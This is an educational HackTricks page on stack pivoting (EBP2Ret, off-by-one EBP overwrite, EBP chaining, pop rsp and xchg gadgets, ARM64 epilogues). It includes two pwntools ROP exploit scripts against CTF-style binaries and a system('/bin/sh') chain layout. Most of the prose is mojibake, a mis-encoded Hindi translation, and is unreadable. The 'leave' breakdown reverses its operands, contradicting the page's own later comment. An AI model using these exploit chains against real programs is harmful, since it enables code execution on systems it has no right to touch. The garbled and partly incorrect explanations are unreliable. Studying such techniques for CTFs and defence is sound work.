hacktricks/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

20 KiB

Stack Pivoting - EBP2Ret - EBP chaining

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Basic Information

рдпрд╣ рддрдХрдиреАрдХ Base Pointer (EBP) рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреА рд╣реИ рддрд╛рдХрд┐ EBP рд░рдЬрд┐рд╕реНрдЯрд░ рдФрд░ leave; ret рдирд┐рд░реНрджреЗрд╢ рдЕрдиреБрдХреНрд░рдо рдХрд╛ рд╕рд╛рд╡рдзрд╛рдиреАрдкреВрд░реНрд╡рдХ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрдИ рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рд╢реНрд░реГрдВрдЦрд▓рд╛рдмрджреНрдз рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред

рдпрд╛рдж рджрд┐рд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП, leave рдХрд╛ рдореВрд▓ рдЕрд░реНрде рд╣реИ:

mov       ebp, esp
pop       ebp
ret

And as the EBP is in the stack before the EIP it's possible to control it controlling the stack.

EBP2Ret

рдпрд╣ рддрдХрдиреАрдХ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЙрдкрдпреЛрдЧреА рд╣реИ рдЬрдм рдЖрдк EBP рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЛ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ рд▓реЗрдХрд┐рди EIP рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЛ рд╕реАрдзреЗ рдмрджрд▓рдиреЗ рдХрд╛ рдХреЛрдИ рддрд░реАрдХрд╛ рдирд╣реАрдВ рд╣реИред рдпрд╣ рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рдмрд╛рдж рдХреЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддрд╛ рд╣реИред

рдпрджрд┐, fvuln рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рджреМрд░рд╛рди, рдЖрдк рд╕реНрдЯреИрдХ рдореЗрдВ рдПрдХ рдирдХрд▓реА EBP рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдореЗрдВ рд╕рдлрд▓ рд╣реЛрддреЗ рд╣реИрдВ рдЬреЛ рдореЗрдореЛрд░реА рдХреЗ рдЙрд╕ рдХреНрд╖реЗрддреНрд░ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рдЖрдкрдХрд╛ рд╢реЗрд▓рдХреЛрдб рдХрд╛ рдкрддрд╛ рд╕реНрдерд┐рдд рд╣реИ (рдкреНрд▓рд╕ 4 рдмрд╛рдЗрдЯреНрд╕ pop рдСрдкрд░реЗрд╢рди рдХреЗ рд▓рд┐рдП), рддреЛ рдЖрдк рдЕрдкреНрд░рддреНрдпрдХреНрд╖ рд░реВрдк рд╕реЗ EIP рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЬреИрд╕реЗ рд╣реА fvuln рд▓реМрдЯрддрд╛ рд╣реИ, ESP рдХреЛ рдЗрд╕ рддреИрдпрд╛рд░ рд╕реНрдерд╛рди рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдЕрдЧрд▓рд╛ pop рдСрдкрд░реЗрд╢рди ESP рдХреЛ 4 рд╕реЗ рдШрдЯрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ рдПрдХ рдкрддреЗ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рд╣рдорд▓рд╛рд╡рд░ рдиреЗ рд╡рд╣рд╛рдБ рд╕реНрдЯреЛрд░ рдХрд┐рдпрд╛ рд╣реИред
рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдкрдХреЛ 2 рдкрддреЗ рдЬрд╛рдирдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ: рд╡рд╣ рдЬрд╣рд╛рдБ ESP рдЬрд╛рдиреЗ рд╡рд╛рд▓рд╛ рд╣реИ, рдЬрд╣рд╛рдБ рдЖрдкрдХреЛ рдЙрд╕ рдкрддреЗ рдХреЛ рд▓рд┐рдЦрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА рдЬрд┐рд╕ рдкрд░ ESP рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИред

Exploit Construction

рдкрд╣рд▓реЗ рдЖрдкрдХреЛ рдПрдХ рдкрддрд╛ рдЬрд╛рдирдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рдЖрдк рдордирдЪрд╛рд╣рд╛ рдбреЗрдЯрд╛ / рдкрддреЗ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВред ESP рдпрд╣рд╛рдБ рдЗрд╢рд╛рд░рд╛ рдХрд░реЗрдЧрд╛ рдФрд░ рдкрд╣рд▓рд╛ ret рдЪрд▓рд╛рдПрдЧрд╛ред

рдлрд┐рд░, рдЖрдкрдХреЛ рдЙрд╕ рдкрддреЗ рдХреЛ рдЬрд╛рдирдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ ret рджреНрд╡рд╛рд░рд╛ рдордирдЪрд╛рд╣рд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

  • рдПрдХ рдорд╛рдиреНрдп ONE_GADGET рдкрддрд╛ред
  • system() рдХрд╛ рдкрддрд╛ рдЙрд╕рдХреЗ рдмрд╛рдж 4 рдЬрдВрдХ рдмрд╛рдЗрдЯреНрд╕ рдФрд░ "/bin/sh" рдХрд╛ рдкрддрд╛ (x86 рдмрд┐рдЯреНрд╕)ред
  • рдПрдХ jump esp; рдЧреИрдЬреЗрдЯ (ret2esp) рдХрд╛ рдкрддрд╛ рдЙрд╕рдХреЗ рдмрд╛рдж рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╢реЗрд▓рдХреЛрдбред
  • рдХреБрдЫ ROP рд╢реНрд░реГрдВрдЦрд▓рд╛ред

рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рдирд┐рдпрдВрддреНрд░рд┐рдд рдореЗрдореЛрд░реА рдХреЗ рдХрд┐рд╕реА рднреА рдЗрди рдкрддреЗ рд╕реЗ рдкрд╣рд▓реЗ, 4 рдмрд╛рдЗрдЯреНрд╕ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП рдХреНрдпреЛрдВрдХрд┐ pop рднрд╛рдЧ leave рдирд┐рд░реНрджреЗрд╢ рдХрд╛ рд╣реИред рдЗрди 4B рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рджреВрд╕рд░рд╛ рдирдХрд▓реА EBP рд╕реЗрдЯ рдХрд░рдирд╛ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реЛрдЧрд╛ред

Off-By-One Exploit

рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд░реВрдк "Off-By-One Exploit" рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рддрдм рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрдм рдЖрдк рдХреЗрд╡рд▓ EBP рдХреЗ рд╕рдмрд╕реЗ рдХрдо рдорд╣рддреНрд╡рдкреВрд░реНрдг рдмрд╛рдЗрдЯ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдРрд╕реЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдореЗрдореЛрд░реА рд╕реНрдерд╛рди рдЬреЛ ret рдХреЗ рд╕рд╛рде рдХреВрджрдиреЗ рдХреЗ рд▓рд┐рдП рдкрддрд╛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддрд╛ рд╣реИ, EBP рдХреЗ рд╕рд╛рде рдкрд╣рд▓реЗ рддреАрди рдмрд╛рдЗрдЯреНрд╕ рд╕рд╛рдЭрд╛ рдХрд░рдиреЗ рдЪрд╛рд╣рд┐рдП, рдЬрд┐рд╕рд╕реЗ рдЕрдзрд┐рдХ рд╕реАрдорд┐рдд рдкрд░рд┐рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рд╕рдорд╛рди рд╣реЗрд░рдлреЗрд░ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред
рдЖрдорддреМрд░ рдкрд░ рдЗрд╕реЗ 0x00 рдмрд╛рдЗрдЯ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЬрд┐рддрдирд╛ рд╕рдВрднрд╡ рд╣реЛ рдЙрддрдирд╛ рджреВрд░ рдХреВрдж рд╕рдХреЗред

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд╕реНрдЯреИрдХ рдореЗрдВ рдПрдХ RET рд╕реНрд▓реЗрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдФрд░ рдЕрд╕рд▓реА ROP рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХреЛ рдЕрдВрдд рдореЗрдВ рд░рдЦрдирд╛ рд╕рд╛рдорд╛рдиреНрдп рд╣реИ рддрд╛рдХрд┐ рдпрд╣ рдЕрдзрд┐рдХ рд╕рдВрднрд╛рд╡рдирд╛ рд╣реЛ рдХрд┐ рдирдпрд╛ ESP RET SLED рдХреЗ рдЕрдВрджрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░реЗ рдФрд░ рдЕрдВрддрд┐рдо ROP рд╢реНрд░реГрдВрдЦрд▓рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛред

EBP Chaining

рдЗрд╕рд▓рд┐рдП, рд╕реНрдЯреИрдХ рдХреЗ EBP рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдореЗрдВ рдПрдХ рдирд┐рдпрдВрддреНрд░рд┐рдд рдкрддрд╛ рдбрд╛рд▓рдирд╛ рдФрд░ EIP рдореЗрдВ leave; ret рдХрд╛ рдкрддрд╛ рдбрд╛рд▓рдирд╛ рд╕рдВрднрд╡ рд╣реИ рд╕реНрдЯреИрдХ рд╕реЗ рдирд┐рдпрдВрддреНрд░рд┐рдд EBP рдкрддреЗ рдкрд░ ESP рдХреЛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред

рдЕрдм, ESP рдирд┐рдпрдВрддреНрд░рд┐рдд рд╣реИ рдЬреЛ рдПрдХ рдЗрдЪреНрдЫрд┐рдд рдкрддреЗ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдЧрд▓рд╛ рдирд┐рд░реНрджреЗрд╢ RET рд╣реИред рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рдпрдВрддреНрд░рд┐рдд ESP рд╕реНрдерд╛рди рдореЗрдВ рдпрд╣ рд░рдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

  • &(next fake EBP) -> leave рдирд┐рд░реНрджреЗрд╢ рд╕реЗ pop ebp рдХреЗ рдХрд╛рд░рдг рдирдпрд╛ EBP рд▓реЛрдб рдХрд░реЗрдВ
  • system() -> ret рджреНрд╡рд╛рд░рд╛ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛
  • &(leave;ret) -> рд╕рд┐рд╕реНрдЯрдо рд╕рдорд╛рдкреНрдд рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдпрд╣ ESP рдХреЛ рдирдХрд▓реА EBP рдкрд░ рд▓реЗ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдлрд┐рд░ рд╕реЗ рд╢реБрд░реВ рдХрд░реЗрдЧрд╛
  • &("/bin/sh")-> system рдХреЗ рд▓рд┐рдП рдкреИрд░рд╛рдореАрдЯрд░

рдмреБрдирд┐рдпрд╛рджреА рд░реВрдк рд╕реЗ рдЗрд╕ рддрд░реАрдХреЗ рд╕реЗ рдХрдИ рдирдХрд▓реА EBPs рдХреЛ рдЬреЛрдбрд╝рдирд╛ рд╕рдВрднрд╡ рд╣реИ рддрд╛рдХрд┐ рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЗ рдкреНрд░рд╡рд╛рд╣ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред

рдпрд╣ ret2lib рдХреА рддрд░рд╣ рд╣реИ, рд▓реЗрдХрд┐рди рдЕрдзрд┐рдХ рдЬрдЯрд┐рд▓ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдХреЛрдИ рд╕реНрдкрд╖реНрдЯ рд▓рд╛рдн рдирд╣реАрдВ рд╣реИ рд▓реЗрдХрд┐рди рдХреБрдЫ рдХрд┐рдирд╛рд░реЗ рдХреЗ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рджрд┐рд▓рдЪрд╕реНрдк рд╣реЛ рд╕рдХрддрд╛ рд╣реИред

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрд╣рд╛рдБ рдПрдХ рдЪреБрдиреМрддреА рдХрд╛ рдЙрджрд╛рд╣рд░рдг рд╣реИ рдЬреЛ рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдПрдХ рд╕реНрдЯреИрдХ рд▓реАрдХ рдХреЗ рд╕рд╛рде рдПрдХ рд╡рд┐рдЬреЗрддрд╛ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред рдпрд╣ рдкреГрд╖реНрда рд╕реЗ рдЕрдВрддрд┐рдо рдкреЗрд▓реЛрдб рд╣реИ:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

EBP рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛

рдЬреИрд╕рд╛ рдХрд┐ рдЗрд╕ рдкреЛрд╕реНрдЯ рдореЗрдВ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдпрджрд┐ рдПрдХ рдмрд╛рдЗрдирд░реА рдХреБрдЫ рдСрдкреНрдЯрд┐рдорд╛рдЗрдЬреЗрд╢рди рдХреЗ рд╕рд╛рде рд╕рдВрдХрд▓рд┐рдд рдХреА рдЧрдИ рд╣реИ, рддреЛ EBP рдХрднреА рднреА ESP рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдирд╣реАрдВ рдХрд░рддрд╛, рдЗрд╕рд▓рд┐рдП, EBP рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдХреЗ рдХрд╛рдо рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдХреЛрдИ рднреА рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдореВрд▓ рд░реВрдк рд╕реЗ рд╡рд┐рдлрд▓ рд╣реЛ рдЬрд╛рдПрдЧрд╛ рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдХрд╛ рдХреЛрдИ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдкреНрд░рднрд╛рд╡ рдирд╣реАрдВ рд╣реИред
рдпрд╣ рдЗрд╕рд▓рд┐рдП рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдкреНрд░реЛрд▓реЙрдЧ рдФрд░ рдПрдкрд┐рд▓реЙрдЧ рдореЗрдВ рдмрджрд▓рд╛рд╡ рд╣реЛрддрд╛ рд╣реИ рдпрджрд┐ рдмрд╛рдЗрдирд░реА рдСрдкреНрдЯрд┐рдорд╛рдЗрдЬреНрдб рд╣реИред

  • рдСрдкреНрдЯрд┐рдорд╛рдЗрдЬреНрдб рдирд╣реАрдВ:
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • рдЕрдиреБрдХреВрд▓рд┐рдд:
push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return

рдЕрдиреНрдп рддрд░реАрдХреЗ RSP рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП

pop rsp рдЧреИрдЬреЗрдЯ

рдЗрд╕ рдкреГрд╖реНрда рдкрд░ рдЖрдк рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рдЪреБрдиреМрддреА рдХреЗ рд▓рд┐рдП 2 рд╡рд┐рд╢рд┐рд╖реНрдЯ рддрд░реНрдХреЛрдВ рдХреЗ рд╕рд╛рде рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рдерд╛, рдФрд░ рд╡рд╣рд╛рдБ рдПрдХ pop rsp рдЧреИрдЬреЗрдЯ рдерд╛ рдФрд░ рд╡рд╣рд╛рдБ рд╕реНрдЯреИрдХ рд╕реЗ рд▓реАрдХ рд╣реИ:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg <reg>, rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

рдпрд╣рд╛рдБ ret2esp рддрдХрдиреАрдХ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ:

{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} ret2esp-ret2reg.md {% endcontent-ref %}

рд╕рдВрджрд░реНрдн рдФрд░ рдЕрдиреНрдп рдЙрджрд╛рд╣рд░рдг

  • https://bananamafia.dev/post/binary-rop-stackpivot/
  • https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
  • https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
  • 64 рдмрд┐рдЯреНрд╕, рдПрдХ rop рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХреЗ рд╕рд╛рде рдПрдХ ret sled рд╕реЗ рд╢реБрд░реВ рд╣реЛрдиреЗ рд╡рд╛рд▓рд╛ рдСрдл рдмрд╛рдп рд╡рди рд╢реЛрд╖рдг
  • https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
  • 64 рдмрд┐рдЯ, рдХреЛрдИ relro, canary, nx рдФрд░ pie рдирд╣реАрдВред рдкреНрд░реЛрдЧреНрд░рд╛рдо рд╕реНрдЯреИрдХ рдпрд╛ pie рдХреЗ рд▓рд┐рдП рдПрдХ рд▓реАрдХ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдФрд░ рдПрдХ qword рдХрд╛ WWWред рдкрд╣рд▓реЗ рд╕реНрдЯреИрдХ рд▓реАрдХ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ рдФрд░ pie рд▓реАрдХ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП WWW рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред рдлрд┐рд░ WWW рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рд╢рд╛рд╢реНрд╡рдд рд▓реВрдк рдмрдирд╛рдПрдВ рдЬреЛ .fini_array рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпреЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ + __libc_csu_fini рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИ (рдпрд╣рд╛рдБ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА). рдЗрд╕ "рд╢рд╛рд╢реНрд╡рдд" рд▓реЗрдЦрди рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, .bss рдореЗрдВ рдПрдХ ROP рд╢реНрд░реГрдВрдЦрд▓рд╛ рд▓рд┐рдЦреА рдЬрд╛рддреА рд╣реИ рдФрд░ рдЕрдВрддрддрдГ рдЗрд╕реЗ RBP рдХреЗ рд╕рд╛рде рдкрд┐рд╡рдЯрд┐рдВрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

ARM64

ARM64 рдореЗрдВ, рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рдкреНрд░реЛрд▓реЙрдЧ рдФрд░ рдПрдкрд┐рд▓реЙрдЧ рд╕реНрдЯреИрдХ рдореЗрдВ SP рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЛ рд╕реНрдЯреЛрд░ рдФрд░ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, RET рдирд┐рд░реНрджреЗрд╢ SP рджреНрд╡рд╛рд░рд╛ рдЗрдВрдЧрд┐рдд рдкрддреЗ рдкрд░ рд╡рд╛рдкрд╕ рдирд╣реАрдВ рд▓реМрдЯрддрд╛, рдмрд▓реНрдХрд┐ x30 рдХреЗ рдЕрдВрджрд░ рдХреЗ рдкрддреЗ рдкрд░ рд▓реМрдЯрддрд╛ рд╣реИред

рдЗрд╕рд▓рд┐рдП, рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, рдХреЗрд╡рд▓ рдПрдкрд┐рд▓реЙрдЧ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк SP рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдирд╣реАрдВ рд╣реЛрдВрдЧреЗ, рдХреБрдЫ рдбреЗрдЯрд╛ рдХреЛ рд╕реНрдЯреИрдХ рдХреЗ рдЕрдВрджрд░ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдХреЗред рдФрд░ рдпрджрд┐ рдЖрдк SP рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдлрд▓ рд╣реЛ рдЬрд╛рддреЗ рд╣реИрдВ, рддреЛ рднреА рдЖрдкрдХреЛ x30 рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рдЪрд╛рд╣рд┐рдПред

  • рдкреНрд░реЛрд▓реЙрдЧ
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP рдлреНрд░реЗрдо рд░рд┐рдХреЙрд░реНрдб рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИ
  • рдПрдкрд┐рд▓реЙрдЧ
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

{% hint style="danger" %} ARM64 рдореЗрдВ рд╕реНрдЯреИрдХ рдкрд┐рд╡рдЯрд┐рдВрдЧ рдХреЗ рд╕рдорд╛рди рдХреБрдЫ рдХрд░рдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рд╣реЛрдЧрд╛ SP рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдирд╛ (рдХрд┐рд╕реА рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдХреЗ рдЬрд┐рд╕рдХрд╛ рдорд╛рди SP рдХреЛ рдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдпрд╛ рдХреНрдпреЛрдВрдХрд┐ рдХрд┐рд╕реА рдХрд╛рд░рдг рд╕реЗ SP рдЕрдкрдирд╛ рдкрддрд╛ рд╕реНрдЯреИрдХ рд╕реЗ рд▓реЗ рд░рд╣рд╛ рд╣реИ рдФрд░ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдПрдХ рдУрд╡рд░рдлреНрд▓реЛ рд╣реИ) рдФрд░ рдлрд┐рд░ рдПрдкрд┐рд▓реЙрдЧ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ x30 рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд SP рд╕реЗ рд▓реЛрдб рдХрд░рдирд╛ рдФрд░ RET рдХрд░рдирд╛ред {% endhint %}

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рдкрд░ ARM64 рдореЗрдВ Ret2esp рдХрд╛ рд╕рдордХрдХреНрд╖ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ:

{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} ret2esp-ret2reg.md {% endcontent-ref %}

{% hint style="success" %} AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ
{% endhint %}